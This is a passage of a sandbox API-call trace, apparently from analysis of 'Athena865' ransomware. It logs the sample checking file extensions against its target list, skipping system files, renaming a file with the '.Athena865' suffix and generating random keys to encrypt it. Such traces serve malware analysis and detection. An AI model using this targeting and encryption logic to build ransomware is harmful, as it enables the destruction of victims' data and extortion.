(lpString1="inc", lpString2="adb") returned 1 [0118.568] lstrlenW (lpString="adb") returned 3 [0118.568] lstrcmpiW (lpString1="inc", lpString2="adb") returned 1 [0118.568] lstrlenW (lpString="ade") returned 3 [0118.568] lstrcmpiW (lpString1="inc", lpString2="ade") returned 1 [0118.568] lstrlenW (lpString="adf") returned 3 [0118.568] lstrcmpiW (lpString1="inc", lpString2="adf") returned 1 [0118.568] lstrlenW (lpString="adn") returned 3 [0118.568] lstrcmpiW (lpString1="inc", lpString2="adn") returned 1 [0118.568] lstrlenW (lpString="adp") returned 3 [0118.568] lstrcmpiW (lpString1="inc", lpString2="adp") returned 1 [0118.568] lstrlenW (lpString="alf") returned 3 [0118.568] lstrcmpiW (lpString1="inc", lpString2="alf") returned 1 [0118.568] lstrlenW (lpString="ask") returned 3 [0118.568] lstrcmpiW (lpString1="inc", lpString2="ask") returned 1 [0118.568] lstrlenW (lpString="btr") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="btr") returned 1 [0118.569] lstrlenW (lpString="cat") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="cat") returned 1 [0118.569] lstrlenW (lpString="cdb") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="cdb") returned 1 [0118.569] lstrlenW (lpString="ckp") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="ckp") returned 1 [0118.569] lstrlenW (lpString="cma") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="cma") returned 1 [0118.569] lstrlenW (lpString="cpd") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="cpd") returned 1 [0118.569] lstrlenW (lpString="dacpac") returned 6 [0118.569] lstrcmpiW (lpString1="as.inc", lpString2="dacpac") returned -1 [0118.569] lstrlenW (lpString="dad") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="dad") returned 1 [0118.569] lstrlenW (lpString="dadiagrams") returned 10 [0118.569] lstrcmpiW (lpString1="cjavas.inc", lpString2="dadiagrams") returned -1 [0118.569] lstrlenW (lpString="daschema") returned 8 [0118.569] lstrcmpiW (lpString1="avas.inc", lpString2="daschema") returned -1 [0118.569] lstrlenW (lpString="db-journal") returned 10 [0118.569] lstrcmpiW (lpString1="cjavas.inc", lpString2="db-journal") returned -1 [0118.569] lstrlenW (lpString="db-shm") returned 6 [0118.569] lstrcmpiW (lpString1="as.inc", lpString2="db-shm") returned -1 [0118.569] lstrlenW (lpString="db-wal") returned 6 [0118.569] lstrcmpiW (lpString1="as.inc", lpString2="db-wal") returned -1 [0118.569] lstrlenW (lpString="dbc") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="dbc") returned 1 [0118.569] lstrlenW (lpString="dbs") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="dbs") returned 1 [0118.569] lstrlenW (lpString="dbt") returned 3 [0118.569] lstrcmpiW (lpString1="inc", lpString2="dbt") returned 1 [0118.570] lstrlenW (lpString="dbv") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dbv") returned 1 [0118.570] lstrlenW (lpString="dbx") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dbx") returned 1 [0118.570] lstrlenW (lpString="dcb") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dcb") returned 1 [0118.570] lstrlenW (lpString="dct") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dct") returned 1 [0118.570] lstrlenW (lpString="dcx") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dcx") returned 1 [0118.570] lstrlenW (lpString="ddl") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="ddl") returned 1 [0118.570] lstrlenW (lpString="dlis") returned 4 [0118.570] lstrcmpiW (lpString1=".inc", lpString2="dlis") returned -1 [0118.570] lstrlenW (lpString="dp1") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dp1") returned 1 [0118.570] lstrlenW (lpString="dqy") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dqy") returned 1 [0118.570] lstrlenW (lpString="dsk") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dsk") returned 1 [0118.570] lstrlenW (lpString="dsn") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dsn") returned 1 [0118.570] lstrlenW (lpString="dtsx") returned 4 [0118.570] lstrcmpiW (lpString1=".inc", lpString2="dtsx") returned -1 [0118.570] lstrlenW (lpString="dxl") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="dxl") returned 1 [0118.570] lstrlenW (lpString="eco") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="eco") returned 1 [0118.570] lstrlenW (lpString="ecx") returned 3 [0118.570] lstrcmpiW (lpString1="inc", lpString2="ecx") returned 1 [0118.571] lstrlenW (lpString="edb") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="edb") returned 1 [0118.571] lstrlenW (lpString="epim") returned 4 [0118.571] lstrcmpiW (lpString1=".inc", lpString2="epim") returned -1 [0118.571] lstrlenW (lpString="fcd") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fcd") returned 1 [0118.571] lstrlenW (lpString="fdb") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fdb") returned 1 [0118.571] lstrlenW (lpString="fic") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fic") returned 1 [0118.571] lstrlenW (lpString="flexolibrary") returned 12 [0118.571] lstrlenW (lpString="fm5") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fm5") returned 1 [0118.571] lstrlenW (lpString="fmp") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fmp") returned 1 [0118.571] lstrlenW (lpString="fmp12") returned 5 [0118.571] lstrcmpiW (lpString1="s.inc", lpString2="fmp12") returned 1 [0118.571] lstrlenW (lpString="fmpsl") returned 5 [0118.571] lstrcmpiW (lpString1="s.inc", lpString2="fmpsl") returned 1 [0118.571] lstrlenW (lpString="fol") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fol") returned 1 [0118.571] lstrlenW (lpString="fp3") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fp3") returned 1 [0118.571] lstrlenW (lpString="fp4") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fp4") returned 1 [0118.571] lstrlenW (lpString="fp5") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fp5") returned 1 [0118.571] lstrlenW (lpString="fp7") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fp7") returned 1 [0118.571] lstrlenW (lpString="fpt") returned 3 [0118.571] lstrcmpiW (lpString1="inc", lpString2="fpt") returned 1 [0118.572] lstrlenW (lpString="frm") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="frm") returned 1 [0118.572] lstrlenW (lpString="gdb") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="gdb") returned 1 [0118.572] lstrlenW (lpString="gdb") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="gdb") returned 1 [0118.572] lstrlenW (lpString="grdb") returned 4 [0118.572] lstrcmpiW (lpString1=".inc", lpString2="grdb") returned -1 [0118.572] lstrlenW (lpString="gwi") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="gwi") returned 1 [0118.572] lstrlenW (lpString="hdb") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="hdb") returned 1 [0118.572] lstrlenW (lpString="his") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="his") returned 1 [0118.572] lstrlenW (lpString="ib") returned 2 [0118.572] lstrcmpiW (lpString1="nc", lpString2="ib") returned 1 [0118.572] lstrlenW (lpString="idb") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="idb") returned 1 [0118.572] lstrlenW (lpString="ihx") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="ihx") returned 1 [0118.572] lstrlenW (lpString="itdb") returned 4 [0118.572] lstrcmpiW (lpString1=".inc", lpString2="itdb") returned -1 [0118.572] lstrlenW (lpString="itw") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="itw") returned -1 [0118.572] lstrlenW (lpString="jet") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="jet") returned -1 [0118.572] lstrlenW (lpString="jtx") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="jtx") returned -1 [0118.572] lstrlenW (lpString="kdb") returned 3 [0118.572] lstrcmpiW (lpString1="inc", lpString2="kdb") returned -1 [0118.572] lstrlenW (lpString="kexi") returned 4 [0118.573] lstrcmpiW (lpString1=".inc", lpString2="kexi") returned -1 [0118.573] lstrlenW (lpString="kexic") returned 5 [0118.573] lstrcmpiW (lpString1="s.inc", lpString2="kexic") returned 1 [0118.573] lstrlenW (lpString="kexis") returned 5 [0118.573] lstrcmpiW (lpString1="s.inc", lpString2="kexis") returned 1 [0118.573] lstrlenW (lpString="lgc") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="lgc") returned -1 [0118.573] lstrlenW (lpString="lwx") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="lwx") returned -1 [0118.573] lstrlenW (lpString="maf") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="maf") returned -1 [0118.573] lstrlenW (lpString="maq") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="maq") returned -1 [0118.573] lstrlenW (lpString="mar") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="mar") returned -1 [0118.573] lstrlenW (lpString="marshal") returned 7 [0118.573] lstrcmpiW (lpString1="vas.inc", lpString2="marshal") returned 1 [0118.573] lstrlenW (lpString="mas") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="mas") returned -1 [0118.573] lstrlenW (lpString="mav") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="mav") returned -1 [0118.573] lstrlenW (lpString="maw") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="maw") returned -1 [0118.573] lstrlenW (lpString="mdbhtml") returned 7 [0118.573] lstrcmpiW (lpString1="vas.inc", lpString2="mdbhtml") returned 1 [0118.573] lstrlenW (lpString="mdn") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="mdn") returned -1 [0118.573] lstrlenW (lpString="mdt") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="mdt") returned -1 [0118.573] lstrlenW (lpString="mfd") returned 3 [0118.573] lstrcmpiW (lpString1="inc", lpString2="mfd") returned -1 [0118.574] lstrlenW (lpString="mpd") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="mpd") returned -1 [0118.574] lstrlenW (lpString="mrg") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="mrg") returned -1 [0118.574] lstrlenW (lpString="mud") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="mud") returned -1 [0118.574] lstrlenW (lpString="mwb") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="mwb") returned -1 [0118.574] lstrlenW (lpString="myd") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="myd") returned -1 [0118.574] lstrlenW (lpString="ndf") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="ndf") returned -1 [0118.574] lstrlenW (lpString="nnt") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="nnt") returned -1 [0118.574] lstrlenW (lpString="nrmlib") returned 6 [0118.574] lstrcmpiW (lpString1="as.inc", lpString2="nrmlib") returned -1 [0118.574] lstrlenW (lpString="ns2") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="ns2") returned -1 [0118.574] lstrlenW (lpString="ns3") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="ns3") returned -1 [0118.574] lstrlenW (lpString="ns4") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="ns4") returned -1 [0118.574] lstrlenW (lpString="nsf") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="nsf") returned -1 [0118.574] lstrlenW (lpString="nv") returned 2 [0118.574] lstrcmpiW (lpString1="nc", lpString2="nv") returned -1 [0118.574] lstrlenW (lpString="nv2") returned 3 [0118.574] lstrcmpiW (lpString1="inc", lpString2="nv2") returned -1 [0118.574] lstrlenW (lpString="nwdb") returned 4 [0118.574] lstrcmpiW (lpString1=".inc", lpString2="nwdb") returned -1 [0118.575] lstrlenW (lpString="nyf") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="nyf") returned -1 [0118.575] lstrlenW (lpString="odb") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="odb") returned -1 [0118.575] lstrlenW (lpString="odb") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="odb") returned -1 [0118.575] lstrlenW (lpString="oqy") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="oqy") returned -1 [0118.575] lstrlenW (lpString="ora") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="ora") returned -1 [0118.575] lstrlenW (lpString="orx") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="orx") returned -1 [0118.575] lstrlenW (lpString="owc") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="owc") returned -1 [0118.575] lstrlenW (lpString="p96") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="p96") returned -1 [0118.575] lstrlenW (lpString="p97") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="p97") returned -1 [0118.575] lstrlenW (lpString="pan") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="pan") returned -1 [0118.575] lstrlenW (lpString="pdb") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="pdb") returned -1 [0118.575] lstrlenW (lpString="pdm") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="pdm") returned -1 [0118.575] lstrlenW (lpString="pnz") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="pnz") returned -1 [0118.575] lstrlenW (lpString="qry") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="qry") returned -1 [0118.575] lstrlenW (lpString="qvd") returned 3 [0118.575] lstrcmpiW (lpString1="inc", lpString2="qvd") returned -1 [0118.575] lstrlenW (lpString="rbf") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="rbf") returned -1 [0118.576] lstrlenW (lpString="rctd") returned 4 [0118.576] lstrcmpiW (lpString1=".inc", lpString2="rctd") returned -1 [0118.576] lstrlenW (lpString="rod") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="rod") returned -1 [0118.576] lstrlenW (lpString="rodx") returned 4 [0118.576] lstrcmpiW (lpString1=".inc", lpString2="rodx") returned -1 [0118.576] lstrlenW (lpString="rpd") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="rpd") returned -1 [0118.576] lstrlenW (lpString="rsd") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="rsd") returned -1 [0118.576] lstrlenW (lpString="sas7bdat") returned 8 [0118.576] lstrcmpiW (lpString1="avas.inc", lpString2="sas7bdat") returned -1 [0118.576] lstrlenW (lpString="sbf") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="sbf") returned -1 [0118.576] lstrlenW (lpString="scx") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="scx") returned -1 [0118.576] lstrlenW (lpString="sdb") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="sdb") returned -1 [0118.576] lstrlenW (lpString="sdc") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="sdc") returned -1 [0118.576] lstrlenW (lpString="sdf") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="sdf") returned -1 [0118.576] lstrlenW (lpString="sis") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="sis") returned -1 [0118.576] lstrlenW (lpString="spq") returned 3 [0118.576] lstrcmpiW (lpString1="inc", lpString2="spq") returned -1 [0118.576] lstrlenW (lpString="te") returned 2 [0118.576] lstrcmpiW (lpString1="nc", lpString2="te") returned -1 [0118.576] lstrlenW (lpString="teacher") returned 7 [0118.576] lstrcmpiW (lpString1="vas.inc", lpString2="teacher") returned 1 [0118.577] lstrlenW (lpString="tmd") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="tmd") returned -1 [0118.577] lstrlenW (lpString="tps") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="tps") returned -1 [0118.577] lstrlenW (lpString="trc") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="trc") returned -1 [0118.577] lstrlenW (lpString="trc") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="trc") returned -1 [0118.577] lstrlenW (lpString="trm") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="trm") returned -1 [0118.577] lstrlenW (lpString="udb") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="udb") returned -1 [0118.577] lstrlenW (lpString="udl") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="udl") returned -1 [0118.577] lstrlenW (lpString="usr") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="usr") returned -1 [0118.577] lstrlenW (lpString="v12") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="v12") returned -1 [0118.577] lstrlenW (lpString="vis") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="vis") returned -1 [0118.577] lstrlenW (lpString="vpd") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="vpd") returned -1 [0118.577] lstrlenW (lpString="vvv") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="vvv") returned -1 [0118.577] lstrlenW (lpString="wdb") returned 3 [0118.577] lstrcmpiW (lpString1="inc", lpString2="wdb") returned -1 [0118.577] lstrlenW (lpString="wmdb") returned 4 [0118.577] lstrcmpiW (lpString1=".inc", lpString2="wmdb") returned -1 [0118.577] lstrlenW (lpString="wrk") returned 3 [0118.578] lstrcmpiW (lpString1="inc", lpString2="wrk") returned -1 [0118.578] lstrlenW (lpString="xdb") returned 3 [0118.578] lstrcmpiW (lpString1="inc", lpString2="xdb") returned -1 [0118.578] lstrlenW (lpString="xld") returned 3 [0118.578] lstrcmpiW (lpString1="inc", lpString2="xld") returned -1 [0118.578] lstrlenW (lpString="xmlff") returned 5 [0118.578] lstrcmpiW (lpString1="s.inc", lpString2="xmlff") returned -1 [0118.578] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.Athena865") returned 65 [0118.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.athena865"), dwFlags=0x1) returned 1 [0118.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.579] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=630) returned 1 [0118.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.580] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.580] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.580] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.581] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0118.582] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0118.583] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.584] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.584] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.584] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.584] CloseHandle (hObject=0x17c) returned 1 [0118.584] CloseHandle (hObject=0x154) returned 1 [0118.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.585] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2=".") returned 1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="..") returned 1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="windows") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="bootmgr") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="temp") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="pagefile.sys") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="boot") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="ids.txt") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="ntuser.dat") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="perflogs") returned -1 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2="MSBuild") returned -1 [0118.585] lstrlenW (lpString="adcvbs.inc") returned 10 [0118.585] lstrcpyW (in: lpString1=0x241e89e, lpString2="adcvbs.inc" | out: lpString1="adcvbs.inc") returned="adcvbs.inc" [0118.585] lstrlenW (lpString="adcvbs.inc") returned 10 [0118.585] lstrlenW (lpString="Athena865") returned 9 [0118.585] lstrcmpiW (lpString1="dcvbs.inc", lpString2="Athena865") returned 1 [0118.585] lstrlenW (lpString=".dll") returned 4 [0118.585] lstrcmpiW (lpString1="adcvbs.inc", lpString2=".dll") returned 1 [0118.585] lstrlenW (lpString=".lnk") returned 4 [0118.586] lstrcmpiW (lpString1="adcvbs.inc", lpString2=".lnk") returned 1 [0118.586] lstrlenW (lpString=".ini") returned 4 [0118.586] lstrcmpiW (lpString1="adcvbs.inc", lpString2=".ini") returned 1 [0118.586] lstrlenW (lpString=".sys") returned 4 [0118.586] lstrcmpiW (lpString1="adcvbs.inc", lpString2=".sys") returned 1 [0118.586] lstrlenW (lpString="adcvbs.inc") returned 10 [0118.586] lstrlenW (lpString="bak") returned 3 [0118.586] lstrcmpiW (lpString1="inc", lpString2="bak") returned 1 [0118.586] lstrlenW (lpString="ba_") returned 3 [0118.586] lstrcmpiW (lpString1="inc", lpString2="ba_") returned 1 [0118.586] lstrlenW (lpString="dbb") returned 3 [0118.586] lstrcmpiW (lpString1="inc", lpString2="dbb") returned 1 [0118.586] lstrlenW (lpString="vmdk") returned 4 [0118.586] lstrcmpiW (lpString1=".inc", lpString2="vmdk") returned -1 [0118.586] lstrlenW (lpString="rar") returned 3 [0118.586] lstrcmpiW (lpString1="inc", lpString2="rar") returned -1 [0118.586] lstrlenW (lpString="zip") returned 3 [0118.586] lstrcmpiW (lpString1="inc", lpString2="zip") returned -1 [0118.586] lstrlenW (lpString="tgz") returned 3 [0118.586] lstrcmpiW (lpString1="inc", lpString2="tgz") returned -1 [0118.586] lstrlenW (lpString="vbox") returned 4 [0118.586] lstrcmpiW (lpString1=".inc", lpString2="vbox") returned -1 [0118.586] lstrlenW (lpString="vdi") returned 3 [0118.586] lstrcmpiW (lpString1="inc", lpString2="vdi") returned -1 [0118.586] lstrlenW (lpString="vhd") returned 3 [0118.586] lstrcmpiW (lpString1="inc", lpString2="vhd") returned -1 [0118.586] lstrlenW (lpString="vhdx") returned 4 [0118.586] lstrcmpiW (lpString1=".inc", lpString2="vhdx") returned -1 [0118.586] lstrlenW (lpString="avhd") returned 4 [0118.586] lstrcmpiW (lpString1=".inc", lpString2="avhd") returned -1 [0118.587] lstrlenW (lpString="db") returned 2 [0118.587] lstrcmpiW (lpString1="nc", lpString2="db") returned 1 [0118.587] lstrlenW (lpString="db2") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="db2") returned 1 [0118.587] lstrlenW (lpString="db3") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="db3") returned 1 [0118.587] lstrlenW (lpString="dbf") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="dbf") returned 1 [0118.587] lstrlenW (lpString="mdf") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="mdf") returned -1 [0118.587] lstrlenW (lpString="mdb") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="mdb") returned -1 [0118.587] lstrlenW (lpString="sql") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="sql") returned -1 [0118.587] lstrlenW (lpString="sqlite") returned 6 [0118.587] lstrcmpiW (lpString1="bs.inc", lpString2="sqlite") returned -1 [0118.587] lstrlenW (lpString="sqlite3") returned 7 [0118.587] lstrcmpiW (lpString1="vbs.inc", lpString2="sqlite3") returned 1 [0118.587] lstrlenW (lpString="sqlitedb") returned 8 [0118.587] lstrcmpiW (lpString1="cvbs.inc", lpString2="sqlitedb") returned -1 [0118.587] lstrlenW (lpString="xml") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="xml") returned -1 [0118.587] lstrlenW (lpString="$er") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="$er") returned 1 [0118.587] lstrlenW (lpString="4dd") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="4dd") returned 1 [0118.587] lstrlenW (lpString="4dl") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="4dl") returned 1 [0118.587] lstrlenW (lpString="^^^") returned 3 [0118.587] lstrcmpiW (lpString1="inc", lpString2="^^^") returned 1 [0118.587] lstrlenW (lpString="abs") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="abs") returned 1 [0118.588] lstrlenW (lpString="abx") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="abx") returned 1 [0118.588] lstrlenW (lpString="accdb") returned 5 [0118.588] lstrcmpiW (lpString1="s.inc", lpString2="accdb") returned 1 [0118.588] lstrlenW (lpString="accdc") returned 5 [0118.588] lstrcmpiW (lpString1="s.inc", lpString2="accdc") returned 1 [0118.588] lstrlenW 